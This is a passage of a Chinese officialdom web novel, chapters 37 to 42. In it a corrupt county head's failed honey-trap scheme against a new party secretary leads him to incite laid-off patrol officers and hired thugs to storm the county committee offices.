粗略一扫,光是露出的部分,其价值已足够让人心惊肉跳。
刘世廷的眼神在这些令人窒息的红黑筹码上停留了一瞬,随即转向柜门内侧。
那里,不起眼地贴着几张泛黄的、印着黑白头像的文件纸头——那是他仕途起步阶段的几张个人先进工作者证书,此刻被柜子里浓郁的物质气息彻底吞噬了仅存的一点旧日光辉。
自己在这个办公室里,少说,一年也有一两百万。这还不算那些更隐晦、更“安全”的许诺和安排。
江昭宁身为县委**,位置更高,权力更大,他接到的“心意”,只可能比自己更多、更厚!
刘世廷太清楚这个位置意味着什么,太清楚那些围绕着权力核心旋转的“人情世故”是如何运作的了。
这个江昭宁…他疯了吗?他图什么?
在刘世廷那被巨额数字和冰冷恐惧搅成一锅沸粥的脑海里,这个念头如同溺水者抓住的浮木,带着一种近乎自欺欺人的倔强,猛地冒了出来。
为人民服务?为老百姓鞠躬尽瘁?
为了那个挂在墙上、轻飘飘的“清正廉洁”的虚名?
为了那些会议报告里喊得震天响、下了台就一文不值的口号?
荒谬!简直滑天下之大稽!
一句不知从哪个犄角旮旯听来的、带着浓重土腥味和赤裸裸功利心的俗谚,像钻入他混乱的思绪:“当官不发财,请我都不来!”
这他妈才是颠扑不破的真理!
才是这方水土、这个位置上大多数人心中默念的座右铭!
权力不用,过期作废!
辛苦爬到这个位置,图的不就是这点实实在在的好处吗?
不然,那些提心吊胆、点头哈腰、殚精竭虑的日子,图个什么?
清汤寡水、两袖清风的日子,谁他妈稀罕?
“哼!”一声短促而冰冷的嗤笑从他鼻腔里挤出来,带着浓重的不屑和强行找回的镇定,“装!接着装!”
他咬着后槽牙,声音像是从齿缝里磨出来的,“肯定是初来乍到,脚跟还没站稳,两眼一抹黑,摸不清水深水浅!这是怕老子给他下套呢!”
“不收?呵呵,”刘世廷直起身,背对着那扇充满财富诱惑的门,声音低沉沙哑,如同铁砂碾过,“一个刚空降下来的**,年纪这么轻,能有多大道行?……不过是暂时没收罢了。”
哼,肯定是初来乍到,情况不明,不敢迈出这一步,还在观望中?
算你厉害,这次没有……
刘世廷瘫坐在宽大的皮椅里,昂贵的意大利小牛皮此刻却像一块冰冷的铁板,吸走了他身体里最后一丝温度。
窗外,初升的太阳正慷慨地将金辉泼洒在县委大院修剪整齐的草坪和光洁的水泥路上,反射出刺眼的光芒。
这光芒落在他眼中,却只映照出心底一片冰冷的、被彻底搅翻的泥沼。
昨天下午的一幕浮现于眼前。
在另一个隐秘场所——县城那家外表不起眼、内里却极尽奢华的私人会所包间里——向吴天放面授机宜时,那份志得意满的笃定。
“老吴,这事儿,得双管齐下,下猛药!”刘世廷当时斜倚在柔软的丝绒沙发里,指尖夹着的雪茄烟雾缭绕,眼神里闪烁着老猎手般的狡黠和冷酷,“光送钥匙,分量够,但不够‘贴心’。”
“这新来的,年轻气盛,血气方刚,光靠钱,未必能撬开他的嘴,也未必能让他彻底放下戒备。”
吴天放躬着身,听得全神贯注,脸上带着惯有的谄媚和一丝不易察觉的紧张。
“所以,钥匙递过去,等他收下,或者哪怕只是犹豫的时候,”刘世廷的声音压得更低,带着一种魔鬼般的诱惑,“你紧接着,把这个给他。”
他从西装内袋里,小心翼翼地摸出一个拇指大小、通体漆黑、泛着金属冷光的U盘,轻轻推到吴天放面前的茶几上。
那U盘小巧精致,没有任何标识,像一块沉默的、蕴含致命诱惑的黑曜石。
“这是?”吴天放疑惑地拿起U盘,入手冰凉沉重。
“好东西。”刘世廷嘴角勾起一丝残忍而玩味的笑意,雪茄的烟雾模糊了他眼中深藏的算计,“里面,是‘定制的开胃菜’。”
“几个…嗯,特别符合年轻人口味的小短片。”
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“主角嘛…嘿嘿,你懂的,都是些顶级的‘明星脸’,保证让他看一眼就挪不开眼,血脉偾张!**焚身!”
他刻意加重了最后四个字的语气,每一个字都带着赤裸裸的、下作的暗示。
吴天放手一抖,差点把U盘掉在厚厚的地毯上,脸色瞬间变得有些尴尬和苍白。
他当然明白那里面是什么。
这种手段,下作,但往往极其有效。
尤其是在那种场合下,一个独处、刚收了重礼、心防正处在微妙松懈状态的男人…
“等他收了U盘,心神被那玩意儿勾住的时候,”刘世廷的眼神变得像淬了毒的冰棱,死死钉在吴天放脸上,“他绝对按捺不住!只要他一坐下,只要他打开电脑,把那玩意儿**去…”
他做了个“播放”的手势,脸上的笑容愈发狰狞,“你就告辞。动作要快,别拖泥带水。好戏就开场了!”
他身体微微前倾,声音低得如同耳语,却带着不容置疑的命令:“你出来,立刻给我发个信号。”
“剩下的你就不要管了!”
“是!”
“你去吧!”
吴天放走了。
刘世廷接下来的安排是,安歆就会‘恰巧’去敲门!
安歆是刘世廷众多情人中最为出挑的一个,是县电视台的节目主持人。
容貌身材俱是上乘,举手投足间带着一股浑然天成的媚态。
她是刘世廷手里一把锋利又趁手的“刀”。
安歆身材窈窕,曲线迷人,烈焰红唇配上紧身旗袍,是男人都得血脉偾张。
肯定会让江昭宁神魂颠倒,欲罢不能。
女人嘛,衣服而已!舍了就舍了!
门一旦应声而开,只要她进了那个门。
办公桌后面的男人无论处于何种状态,在眼前那个惊心动魄、活色生香的现实诱惑冲击下,在办公室这幽闭的、荷尔蒙疯狂分泌的空间中,任何伪装的壁垒都会土崩瓦解!
就凭江昭宁那年纪,只要他眼里露出一丝挣扎,一丝渴望,一丝被点燃的火焰……哪怕只有一秒!
能扛得住安歆那身段?那眼神?那手段?
只要他碰了她一根手指头,只要他们滚到一起,哪怕只是衣衫不整地抱在一块儿,马上就会干柴烈火!一点就着!
这就成了!
第38章 祸水东引
刘世廷猛地一拍茶几,震得杯碟轻响,眼中射出狂热而志在必得的光芒。
安歆的那个**摄像机,比蚊子还小,拍得比电影还清楚!声音、画面,纤毫毕现!高清无码!
他想象着那个画面,嘴角扭曲着上扬,江昭宁不是要搞什么廉政风暴,要东山官场的天塌下来吗?
他心中狠狠道,“好啊!老子先让你自己的天塌个彻底!身败名裂!永世不得翻身!”
每一个字都从牙缝里挤出,带着浓重的血腥味和毁灭的快意。
这个计划,每一个环节都看似天衣无缝,精准地卡在人性最原始的欲望和弱点上。
金钱、美色、足以毁灭前程的把柄…三重枷锁层层套下,他笃定,那个年轻的**,绝无挣脱的可能!
然而…然而!
现实给了他最响亮的耳光!
刘世廷猛地睁开眼,布满血丝的瞳孔里,最后一点侥幸的光芒彻底熄灭,只剩下深不见底的恐惧和暴怒。
一股冰冷的寒意再次从尾椎骨窜起,瞬间冻结了他的四肢百骸。
他放在扶手上的手剧烈地颤抖起来,指甲无意识地深深抠进柔软的皮革里,发出令人牙酸的“咯吱”声。
精心准备的美人局,那本该是射向对手的致命**!
那个坐上了东山权力顶峰的年轻人,他根本就没按任何牌理出牌!
他霍然起身,沉重的皮椅被带得向后滑开,发出刺耳的摩擦声。他几步冲到宽大的红木办公桌前,动作粗暴地拉开最下面一个带锁的抽屉。
他一把抓起那个吴天放还回的U盘,冰凉的触感透过皮肤直刺心脏。
里面那些他花了大价钱“定制”的、足以让任何正常男人血脉偾张、理智崩塌的“开胃菜”,那些他寄予厚望的、点燃干柴烈火的火星…此刻全都成了泡影!
成了废品!
成了他愚蠢野心的可笑注脚!
安歆…那个被他视为随时可以舍弃的“衣服”…她那精心描画的眉眼,那刻意训练的、足以勾魂摄魄的媚态,那玲珑有致的身体曲线…此刻在刘世廷暴怒的脑海里闪过。
非但没有勾起任何怜惜,反而像一根根烧红的钢针,狠狠扎刺着他的神经。
他仿佛看到了她昨夜在某个房间里,穿着暴露的衣裙,喷着昂贵的香水,怀着忐忑又或许带着一丝隐秘期待的心情,一遍遍看着手机,等待那一声“行动”的信号…那信号,却如同石沉大海,永远也不会响起!
她成了一个彻头彻尾的笑话!
一个他刘世廷愚蠢计划里最讽刺、最无用的道具!
他死死攥着那个冰冷的U盘,指关节因为过度用力而发出令人牙酸的“咯咯”声,仿佛要将这承载着他肮脏算计的金属疙瘩彻底捏碎!手背上凸起的血管突突直跳,皮肤下仿佛有滚烫的岩浆在奔流。
“好…好个江昭宁!”
“够狠!够绝!”他咬着后槽牙,声音嘶哑低沉,如同地狱刮来的阴风,“自断财路,自戴枷锁……把自己都摆上祭坛…就为了当个‘清官’?就为了断所有人的路?!”
“哼,说来说去,不过是怕中圈套而已,这恰好暴露了你的心虚!”
那个冰凉的U盘,被他死死攥在汗湿的手心,硌得掌心生疼。
“你以为…这就完了?”刘世廷的声音陡然低沉下去。
他伸出手,拉开了办公桌最上方的一个小抽屉。
里面没有文件,只有一个按键手机。
那是他的“安全号”,只用于联系几个最隐秘、最紧要的“渠道”。
他拿起那个与时代格格不入的老旧手机,指尖在冰凉的塑料按键上悬停。
屏幕上微弱的光映着他此刻阴鸷得如同暴风雨前夜的脸。
眼神里,那被强行压抑下去的暴怒并未消散,而是沉淀为一种更深沉、更粘稠、更不计后果的狠戾。
美人局?下作手段?这些常规的伎俩,对这个油盐不进、甚至主动给自己套上枷锁的江昭宁,已经失效了。
“喂…”刘世廷终于按下了那个烂熟于心的快捷键,将那个老旧的手机缓缓贴到耳边。
另一只手习惯性地摩挲着冰凉的机身,如同擦拭一件用惯了的旧武器。
“巡警大队那一边现在怎么样?”他的声音沉下去,像一块石头投进深潭。
“还行,就是牢骚话多!”
“不行!光有牢骚没有用!这次,我得去煽风点火,非让他们炸锅不可!彻底乱成一锅滚开的粥才痛快!”
刘世廷眉头紧锁,“煽风点火?你要他们去**?”他追问的声音不高,却字字清晰。
电话那一边
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的声音传过来,“**?啧,刘县长您这话可真是言重了。”
“我这哪是教唆?不过是……点醒他们罢了。”
“清清楚楚地告诉他们:冤有头,债有主!心里憋着气,堵着怨,那就该堂堂正正地、集体地去反映问题!”
“这难道不是他们的权利?”他顿了顿,仿佛在欣赏自己话语的效果。
随即,那声音陡然转冷,“县委大院的门,不是一直大敞四开着吗?”
“让他们去找正主儿!该找谁算账,就找谁去!”
又是一阵刻意的停顿,“这回,非得让那位高高在上的江**,好好尝尝什么叫‘水深火热’,什么叫真正的‘焦头烂额’!也让他明白明白,这位置不是那么好坐的!”
刘世廷的脸色瞬间沉了下来,他的声音斩钉截铁,带着疏离和拒绝:“我不懂你这些弯弯绕绕!更不支持这种手段!”
“这是玩火!你别跟我说这些!一个字都别再提!”他的回应干脆利落。
“我怕的是……”对方的声音突然掺进一丝犹豫,像琴弦绷得太紧时发出的杂音,“不也将祸水引向你了?”
“毕竟,您也是台上那两位最高领导之一啊?这把火,怕是连您那块地方也要燎着。”
刘世廷的目光落在窗外,县政府大院中央那棵老槐树在风里摇晃着浓密的树冠。
“我马上要下乡镇检查工作,傍晚才回城。”
他顿了顿,像在空气中画下一条安全的楚河汉界,“总之,我不支持。”
对方的声音似乎瞬间被注入了胆气,固执得很,“非得让江昭宁好好喝一壶不可!”
“就得让这群被编余的巡警,不,多请一些社会闲杂人员伪装成他们的的家属冲在前面,变成一群炸了窝的马蜂,盯着他江昭宁一个人螫!”
“螫得他鼻青脸肿,面目全非!”他喉咙里滚出一声低沉的、几乎听不见的冷笑,像夜枭掠过枯枝,“捅了马蜂窝,就得有被蜇得抱头鼠窜的心理准备。”
“这代价,他得受着。”
然而,刘世廷那边早就挂了电话。
巡警大队那栋旧楼里,空气仿佛被点燃了。
副大队长肖新安站在巡警大队那间弥漫着汗味、烟味和绝望气息的办公室中央,像一座濒临爆发的火山。
第39章 评理去!
他猛地抓起头上那顶警帽,手臂肌肉贲张,用尽全身力气狠狠掼在面前那张布满裂纹、漆皮剥落的旧木桌上!
“啪——!”
那声脆响如同惊雷炸开,震得桌上一个积着茶垢的搪瓷缸“哐啷”晃动,浑浊的水泼洒出来,顺着桌沿滴滴答答落下,砸在水泥地上,留下深色的印记。
肖新安布满血丝的眼睛像烧红的炭块,死死扫过围在四周一张张同样激愤、涨红的脸。
他的声音因为极度愤怒和嘶吼而变得沙哑破锣一般:“干了十年!整整十年呐!”
“风里来雨里去,没日没夜!”
“一句轻飘飘的‘编余’就想把我们当垃圾扫出去?”
“没门!没这个道理!”
他喘着粗气,胸膛剧烈起伏,“走!都跟我走!”
“找县太爷评理去!他们不给我们留活路,那就谁都别想安生!”
这充满挑衅和煽动的话语像滚烫的油星,瞬间点燃了角落里的火苗。
“对!找江昭宁!就是他签的字!”
角落里,一个年轻气盛的辅警再也按捺不住,猛地飞起一脚踹向脚边一张空着的塑料凳。
脆弱的凳子腿应声断裂,发出刺耳瘆人的“咔嚓”声,凳面歪斜着飞出去老远。“凭什么裁我们?”
“寒冬腊月我们巡马路冻成冰棍,三伏天顶着太阳烤脱皮的时候,他江大**在哪儿?”
“空调房里吹着凉风签个字就把我们当废纸扔了?!啊?!”
他的质问尖锐得像刀子,直戳所有人的痛处。
这股狂躁的情绪正要如同岩浆喷发般裹挟众人冲出这逼仄的办公室时。
一个穿着同款警服,却明显有些佝偻的身影挤了过来。
教导员魏明君,有些花白的鬓角被汗水浸湿,黏在灰黄的额角上。
他努力伸直那条早年因公受过伤、现在明显使不上力气的腿,竭力伸长干瘦的手臂,像一道单薄的闸,试图拦住面前这股失控的洪流。
“都冷静!别胡来!”他急切的呼喊被嘈杂淹没大半,只能拔高音量,“领导肯定是有考虑的!大局为重!”
“大局为重啊!要相信组织,服从安排!”
“我们做警察的,哪能……”他试图抓住核心——“我们是人**察!是要听从安排的!”
他提高音量,试图盖过嘈杂:“大家安心静候消息!”
“要相信组织上会妥善处理的!”
这话像是在烧红的烙铁上浇了一盆隔夜的凉水。
肖新安猛地回头,血红的眼珠死死钉在魏明君脸上。
他没有说话,但脸上的肌肉因为极度的鄙夷和愤怒而疯狂扭动。
他的大手,带着一股蛮横的力道,重重地撞开了魏明君那只试图阻拦、颤抖着的手臂。
“咣!”魏明君整个人都被这股冲势带得一个趔趄,脚下一绊,那条伤腿瞬间吃不住力。
身体重重撞在身后的铁皮文件柜上,发出一声闷响。
柜子晃了晃。
他赶紧用手撑住,稳住身形,脸上一阵火辣辣的红,更多的却是被当众剥开伤疤的灰败。
“安排?静候?”肖新安猛地踏前一步,几乎要顶到魏明君的鼻子,他伸手指着魏明君的胸口,每一个字都像淬了冰的**,“魏明君!你看看你自己的通知单!”
“你现在自己也是‘编余人员’了!”
“跟老子一样!都被扫地出门了!”
“你凭什么还在这儿对我们指手画脚?还当自己是高高在上的教导员、领导啊?!”
他声音里的嘲讽和鄙夷毫不掩饰。
他朝魏明君站立不稳的方向狠狠啐了一口,“滚开!”
魏明君猝不及防,踉跄着向旁边退了好几步才勉强站稳。
脸上青一阵白一阵,那份职业的尊严在这一拨之下荡然无存。
这一声低吼如同野兽的咆哮,将刚才还被鼓动起来的汹涌情绪瞬间冻结在原地。
这句话如同重锤,狠狠砸在魏明君的心口,也砸在在场每一个人的心上。
魏明君的脸瞬间变得煞白,张开的手臂僵在半空,眼神里闪过一丝难以言喻的痛楚和尴尬。
他嘴唇翕动了一下,却没能发出声音。
肖新安带来的“编余”身份确认,像一盆冰水,浇灭了他仅存的、用以维持秩序的身份合法性。
教导员的身份和曾经的威严,在这一刻被“编余”二字彻底消解了。那道闸,碎了。
正是这一推,这一句“滚一边去”,以及肖新安毫不留情地撕开了魏明君同样被裁撤的伤疤,让原本被愤怒冲昏头脑的人群陡然一滞。
魏明君那句“我们是人**察,要听从安排”虽然刺耳,却像一根细小的刺,在混乱中扎进了大部人的神
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经。
有些人脸上愤怒的潮红还没褪去,目光却开始慌乱地游移,最终凝固在地面凌乱破碎的塑料凳残骸上。
刚才被点燃的集体勇气,像漏了气的皮球,哧溜一下瘫软萎顿。
那身制服所代表的责任与纪律感,在极端情绪下并未完全消散。
肖新安对昔日教导员的粗暴和揭露,反而让一部分人从盲目的激愤中惊醒,感到了某种不自在和寒意。
他们看着魏明君失魂落魄、颜面尽失地站在一旁,再看看肖新安那副择人而噬的狂怒模样,心里那团冲动的火苗,悄然熄灭了大半。
“…这…要不算了?”
“等等看吧,闹大了对谁都不好…”
“魏教…唉…”
窃窃私语响起,带着犹豫和退缩。
原本汹涌的人潮,像撞上了一道无形的堤坝,脚步迟疑了,喊声低落了。
大多数人你看看我,我看看你。
最终选择了留在原地。
或颓然坐下,或默默退回了自己的角落。
办公室里的空气依旧凝重,但那股要掀翻屋顶的狂暴力量,却像被戳破的气球,迅速瘪了下去。
只有四个年轻的身影,脸上还残留着刚才的冲动与戾气。
跟在那道光柱般决绝的背影后,一个个挤了出去。
这四人平素就是张彪的爪牙,依附肖新安坏事没有少干。
门,在他们身后无声地阖上。
休息室里只剩下一片死寂,破碎的凳子、飞溅的水渍、空气中弥漫的汗味和灰尘。
还有铁皮柜前魏明君那挺着受伤的腿、却佝偻得更深的身影。
他那双原本还有几分清亮的眼睛,此刻像蒙上了一层厚厚的灰尘,彻底黯淡了。
肖新安看着身后稀稀拉拉、最终只站定了四个铁杆兄弟的队伍,再看看那一片沉默退缩的昔日同袍,眼中闪过一丝愕然。
随即被更深的愤怒和一种被背叛的孤绝所取代。
他狠狠啐了一口,不再看任何人,梗着脖子,像一头负伤的孤狼,带着他那支小小的、决绝的队伍出去了。
肖新安五人换穿了便服,汇成一股狂躁的浊流,裹挟着桌椅碰撞的噪音和震耳欲聋的呼喝。
轰然冲出了大门。
来到了县委门口,他们与一群社会闲杂人员伪装的“家属”汇合。
这一下气势全出来了。
第40章 冷静处置?
县委大院那扇厚重气派的大门被猛地撞开,汹涌的人潮挟带着室外的热浪和粗重的喘息涌了进来。
门发出不堪重负的呻吟。
原本肃静敞亮的办公楼大厅瞬间被塞满、被点燃。
“我们要见江昭宁!”
“姓江的出来说清楚!”吼声在大厅光洁的墙壁和冰冷的大理石地面上撞击、反弹、叠加,汇成震耳欲聋的声浪洪流,冲击着每一根神经。
保安们徒劳地组成一道单薄的人墙,手臂徒劳地伸开,试图阻拦这失控的浪潮,但立刻被推搡得东倒西歪。
一个年轻保安的帽子被挤掉,瞬间被无数只脚踩踏淹没。
县委办副主任王涛接到消息冲下来时,额头已布满了细密的冷汗。
他努力挺直腰板,声音在巨大的喧嚣中微弱得如同蚊蚋:“大家冷静!冷静一下!”
“江**……江**现在有重要会议!”
“有诉求我们坐下来谈,按程序反映好不好?”
他徒劳地挥着手,试图安抚。
“少来这套官腔!”一个粗壮的手臂猛地拨开王涛伸出的手,力道之大让他一个趔趄,“江昭宁缩头乌龟不敢见人?”
“那就砸开他的门!”
不知是谁带头,人群开始不顾一切地往楼梯口方向猛冲,保安组成的人墙瞬间崩溃瓦解。
文件纸页如同受惊的白鸟,从被撞翻的接待台上飞散开来,在混乱的气流中打着旋儿飘落。
王涛徒劳的呼喊彻底被淹没。
他眼睁睁看着愤怒的人群如决堤之水冲向通往权力核心的楼梯。
一个年轻的女干部终于忍不住,“哇”地一声哭出来,转身逃向洗手间。
那象征秩序的楼梯,此刻成了风暴涌入的通道,大厅里只剩下狼藉和仍在空中飘荡的纸片。
刘世廷的黑色轿车平稳地滑出县政府大院。
他靠在后座,车窗降下一条缝隙,夏天燥热的风裹挟着尘土的气息灌了进来。
司机老陈从后视镜里小心地瞥了一眼领导沉静如水的脸,谨慎地问:“刘县长,咱们……先去哪个点?”
“不急,”刘世廷的目光投向车窗外飞速**的街景,声音里听不出任何波澜,“开稳些。”
“绕城路那边新栽的树苗,顺路也看看长势如何。”
他的手指在真皮座椅扶手上无意识地轻轻叩击着,节奏平稳,与车外掠过的一片混乱街景形成无声的对比。
车行至县城边缘,老陈忽然放慢了速度,犹豫着开口:“刘县长,前面路口……好像堵上了。出了交通事故。”
刘世廷的目光淡淡扫过了一下,脸上没有任何表情变化,只平静地吩咐:“绕道。走农机厂后面那条老路。”
车子无声地调转方向,驶入一条狭窄僻静、坑洼不平的旧街巷。
车窗外,县城中心方向的喧嚣被迅速甩开、稀释,最终只剩下引擎的低鸣和老街特有的、带着铁锈与尘土味道的沉寂。
车轮碾过碎石,发出单调的沙沙声,这条布满岁月裂痕的旧路,像一条刻意选择的遗忘之径,将身后那座正在沸腾的城池暂时隔离开来。
县委大楼的三层,空气凝固得如同冰封的湖面。
厚重的窗帘隔绝了外面喧嚣的声浪,却隔不开那令人窒息的压迫感。
江昭宁背对着宽大的办公桌,站在窗边,手指用力地捏着深色窗帘的边缘,指节因为过度用力而泛出青白。
楼下人群的怒吼如同沉闷的雷声,穿透紧闭的窗户和厚重的帘幕,一下下撞击着他的耳膜和心脏。
门被无声地推开。
王涛侧身闪了进来,又迅速将门在身后关紧,仿佛要把门外那无形的洪水猛兽彻底隔绝。
他脸色灰败,嘴唇微微哆嗦着,额头上全是汗,几缕头发狼狈地贴在皮肤上。“江**……”
他的声音又干又涩,带着劫后余生的微颤,“人……人暂时堵在二楼楼梯口了,但……但根本拦不住太久!”
“下面……下面彻底乱了套了!”
江昭宁猛地转过身,脸上一片铁青,眼睛里的怒火几乎要喷薄而出:“刘世廷呢?电话通了没有?”
他的声音压抑着,像即将喷发的火山。
“通了……刘县长说他……他正在去柳湾镇检查防洪工程的路上,信号不好,断断续续的……”
王涛的声音越来越低,几乎成了嗫嚅,“他还说……下面同志情绪激动,让县委这边……务必冷静处置,千万注意方法,别激化矛盾
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……”
“柳湾镇?现在防洪?太阳炙热,土地都快龟裂了,还抗洪?”江昭宁像是听到了一个极其荒谬的笑话,嘴角猛地抽搐了一下,发出一声短促而冰冷的嗤笑。
他几步走回办公桌后,重重地跌坐在高背皮椅上,身体深陷进去,仿佛瞬间被抽干了力气。
他抬手用力揉着突突直跳的太阳穴,指腹下的血管在薄薄的皮肤下急促地搏动。
“冷静处置……注意方法……”他喃喃地重复着,每一个字都像淬了毒的冰棱,带着刺骨的讽刺和巨大的无力感。
窗外,那持续不断的、模糊而汹涌的声浪,顽固地拍打着这间象征着权力的办公室。
他猛地抓起桌上的内线电话,又颓然放下——此刻,任何命令都显得苍白而遥远。
他成了风暴中心一座孤悬的岛,而那个理应与他共同掌舵的人,却安然地行驶在风平浪静的另一片海域。
黑色轿车在通往柳湾镇的乡间公路上平稳行驶。
车窗外,夏日的田野铺展着大片大片鲜亮的绿意在阳光下舒展,偶尔掠过几处安静的农舍,炊烟笔直地升向湛蓝的天空。
司机老陈打开了收音机,轻柔舒缓的音乐流淌出来,将车内与外界隔成两个截然不同的世界。
刘世廷靠在后座,闭目养神,脸上的线条在平稳的车行中显得异常松弛。
仿佛真的被窗外这宁静的田园风光所安抚。
只有放在腿上的那只手,指尖在膝盖上极其轻微地、有节奏地一下下点着,像钟表内部精准运行的擒纵机构,泄露着内在无声的律动。
那节奏,隐秘地应和着他心底某个无声的倒计时。
车载收音机里,女主播用甜美的嗓音播报着无关痛痒的本地新闻,声音在舒缓的音乐背景上漂浮。
车后,县城的方向,被距离层层过滤的喧嚣早已消散无踪。
只有车轮碾过柏油路面发出的、规律而单调的沙沙声,如同催眠的絮语。
一片迷蒙的尘土在车尾扬起,悬浮在阳光里,缓缓沉降,最终覆盖了来时的车辙,也模糊了那座正在经历风暴的城池的轮廓。
“江昭宁,你与我做对,让社会闲杂人员,让肖新安治治你,教你做人。”
第41章 喧嚣陡降
犹豫了半晌的江昭宁最终还是拿起了电话。
他打了一个电话给刘洋意。
不一全儿,他办公室那扇坚固沉重的实木门突然发出了剧烈震动!
一下,又一下!
像是有人用整个身体冲撞这最后的屏障。
“哐当!”一声令人牙酸的巨响骤然炸开!
厚重的实木门撞开了。
门外汹涌澎湃的嘈杂声浪刹那间毫无遮拦地冲涌进来,像决堤的洪流吞没一切。
模糊扭曲的人影在那门后面晃动,愤怒的面孔在晃动的光影中闪现。
数重叠、嘶哑的吼叫声从门外钻入,像无数条带着倒刺的钩子,死死钩住了屋里的人:“滚出来——!”
江昭宁走了出来。
整个沸腾的声浪,仿佛被一只无形的大手瞬间扼住喉咙,猛地一顿,喧嚣陡降。
江昭宁慑人的目光,扫射着外面的人群。
“黑压压一片,阵仗不小。气壮山河嘛。”他的嘴角勾起一丝几不可察的弧度,带着冰冷的讽刺,声音不高,但是穿透力极强,“是准备打群架,踏平我这小小的办公室?”
“我,我们是来**的。”有人叫嚷道。
他顿了一下,目光扫过几张涨红的脸,“你们刚才的行为像个**问的样子吗?”
江昭宁向前迈了一步,“事情涉及的人,按规定进来谈。”
“其余无关的人——无论是来看戏解闷的,还是想来浑水摸鱼、煽风点火的——现在立刻解散!回去!”
毕竟江昭宁是县委**,有的人害怕了,犹豫着往外退。
窃窃私语响起,原本汹涌的人潮,像撞上了一道无形的堤坝。
江昭宁转身进了办公室。
“怕什么?**就能不讲理了?!”肖新安眼看形势要失控,急得额头青筋暴起,嘶声喊道,“兄弟们别退!他为官不为民……”
他的话音刚落。
“哗”的一下,有人猛地发力,你推我挤地一涌而入,如同溃堤后最后一股不甘的浊流。
办公室瞬间涌入十多人。
“江昭宁!今天不给我们个交代,休想出这个门半步!”炸雷般的怒吼来自一个铁塔般的壮汉。
他穿着紧绷的背心,粗壮的臂膀上肌肉虬结,青筋暴起,脖子上粗大的金链子随着他胸膛的剧烈起伏晃动着。
他像一头被激怒的公牛,喷着粗气,拳头重重砸在离江昭宁最近的办公桌上,震得桌面的搪瓷茶杯盖“叮当”乱跳。
已进来的林夕脸色煞白,想上前阻拦,**昭宁一个微不可察的眼神示意挡了回去。
办公室的空气骤然绷紧,仿佛能拧出水来。
江昭宁抬起了眼皮,目光冰冷如刀,笔直地刺向那张因凶暴而有些狰狞的脸。
江昭宁声音平稳得可怕,“交代?要什么交代?”
“装什么糊涂!”壮汉脖子一梗,唾沫星子几乎喷到江昭宁脸上,“你凭什么断了兄弟们的口粮?”
“解散巡警大队,让大家伙儿喝西北风去?啊?”
他的吼声震得窗玻璃嗡嗡作响。
江昭宁并未被这汹汹气势撼动分毫。
他微微向前倾身,目光锐利如鹰隼,牢牢锁住壮汉那双因激动而有些充血的眼睛:“你是什么人?在巡警大队担任何职?”
这直指核心的一问,像一根无形的针,瞬间戳破了壮汉那鼓胀的气势。
这家伙肌肉瞬间僵硬了一下。
那股子亡命徒般的嚣张气焰被这精准而冷酷的问题猛地戳破。
他的眼神第一次出现了明显的慌乱,嘴皮子嗫嚅了一下,喉结又是一阵剧烈滚动,粗壮的脖颈上绷出青筋,却吐不出半个字的身份信息。
他下意识地将目光投向肖新安,带着一丝求救和茫然。
肖新安暗暗咒骂了一句“蠢货”,急忙上前一步,挡在他身前,脸上挤出一点假意解释的干笑:“江**,你别误会。”
“他……他不是巡警大队的正式成员。”
“哦?”江昭宁眉梢微挑,目光锐利地锁住肖新安,“那他是什么人?”
“刚才在外面喊打喊杀,现在又闯进我的办公室,咆哮如雷。”
“不是当事人?他进来干吗?”
“这个……”肖新安脑子飞快地转着,“他……他也是咱们大队的家属嘛!”
“巡警大队撤编这么大的事儿,影响的不仅仅是队员的生计,家属也跟着没了着落,人心惶惶啊江**!”
“他这是替家属们……”
江昭宁发出一声极轻的、近乎无声的冷笑。
目光落在这家伙那布满刺青痕迹的粗壮手臂和几乎能把肖新安整个人装进去的体型上,语气里带着毫不掩饰的鄙夷和洞悉一切的嘲讽:“家属?”
“身强力壮得像头野牛,自己不寻个正经活计养活
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自己?”
“还要别人靠着那点可怜的口粮来养活你?”
每一个字都像是淬了毒的针,精准地扎向那建立在蛮力之上脆弱的自尊。
壮汉的脸顿时憋成了猪肝色,嘴唇嗫嚅了几下,“这……这……”了半天,却再也“这”不出下文来。
江昭宁心中雪亮,这人九成是花钱雇来搅浑水的混子流氓。
江昭宁不再看他一眼,那只是一个无关紧要、不足挂齿的影子。
他的目光稳稳地转向肖新安,那眼神平静无波,却更让肖新安心底发寒。
他知道,江**这是在说:这种货色,不值一提。真正要解决的核心,在你这里。
江昭宁凛然一笑,“你呢?什么人?是巡警大队的吧?”
“我是副大队长,肖新安。”
他强自挺起胸膛,“江**!我肖新安在巡警队干了十几年,没功劳也有苦劳!”
“你一句话就撤编,砸了我们几十号兄弟的饭碗,断了大家养家糊口的活路!”
“今天来,就是要向你讨个说法,讨个公道!”他越说越激动,声音也拔高了几分。
“失业?”江昭宁直呼其名,“肖新安,堂堂巡警大队副大队长,你不该在稳定队伍、传达组织意图上做表率?”
“带着人来县委砸我的门,嚷嚷失业?”
“这就是你的觉悟?这就是你履行的职务?”
肖新安被这连续质问逼得后退了小半步,脸上强行撑起来的强硬在瞬间崩塌了一大块。
他梗着脖子,声音因为底气不足而有些发飘,带着明显的怨气:“江**!你说得轻巧!”
“你一声令下,解散巡警大队,我们几十号兄弟的饭碗就砸了!整个大队没了编制,你让我们上哪吃饭?去喝西北风吗?”
“没了收入来源,家都养不活,你要我们怎么活?”
“这不是失业是什么?!”
“我们来找你要个工作,要个说法,这是天经地义!”
“好一个天经地义!”江昭宁脸上的表情没有任何松动,反而唇角勾起一抹凛然的弧度。
这笑容没有丝毫温度,只有冰冷。
江昭宁没有立刻反驳肖新安。
在众目睽睽之下。
他从容不迫地拉开办公桌最上层的抽屉,从一叠码放整齐的文件中,精准地抽出一个崭新的**,抬手——
“啪!”
第42章 这个事还怎么闹?
文件夹重重地、带着一股沛然之势摔在宽大的办公桌中央,发出一声沉闷却极具力量的脆响。
“自己拿过去,”江昭宁的声音不高,却像一把锋利的凿子,“睁大眼睛看清楚。”
“看看这上面写着什么!”
肖新安几个人都被这突如其来的举动惊了一下。
肖新安离得最近,迟疑着伸手拿起那本还带着油墨气息的新文件。
几个脑袋立刻凑了上去,视线贪婪而急切地扫向文件的标题和抬头。
文件顶端赫然是一行醒目的大字标题:《关于成立东山县交巡警大队的批复意见及人员调整安置方案》。
发文字号是县委和市**局的联合文号,鲜红的印章清晰无比。
方案中详细说明了原“巡警大队”撤编的具体原因、编制调整程序,以及新组建的“交巡警大队”的组织架构、职责范围、人员接收办法。
